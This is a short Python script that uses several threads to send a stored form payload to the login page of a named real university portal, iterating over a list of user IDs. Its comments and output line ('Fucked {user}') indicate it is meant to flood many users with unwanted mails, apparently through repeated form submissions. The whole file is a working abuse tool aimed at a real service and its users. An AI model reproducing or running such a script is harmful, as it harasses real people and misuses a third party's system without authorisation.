import requests
import sys
from time import sleep
import threading
from bs4 import BeautifulSoup
from constants import USERS, BLACKLIST, PAYLOAD


url = "http://slcm.manipal.edu"
form = "{}/loginForm.aspx".format(url)
interval = 0.5

def xprint(mess):
    sys.stdout.write("%s\n" %mess)
 

def mail(tname, i, j, num , user_list) :
        payload = PAYLOAD
        total = j-i
        for x in range(i, j):
            payload["txtUserid"]=user_list[x]
            for a in range(num):
                response = requests.post(form, data=payload)
                sleep(interval)
            xprint("Thread #{} : Fucked {} (Total :{}/{})".format(tname,user_list[x],j-x,total))
            sleep(interval)

if __name__ == '__main__':
    n0 = 0 # Starting indice
    n = 1 # Amount of users handled by each thread
    tnum = 5 # Amount of threads
    num = 1 # Amount of mails being sent to everyone

    user_list = [i for i in USERS if i not in BLACKLIST]
    threads = []

    for i in range(tnum):
        t1 = threading.Thread(target=mail, args=(i, n0,n0+n,num, user_list))
        n0 += n
        threads.append(t1)

    for t in threads:
        t.start()
    for t in threads:
        t.join()
        
    xprint("**ALL COMPLETE**\n")


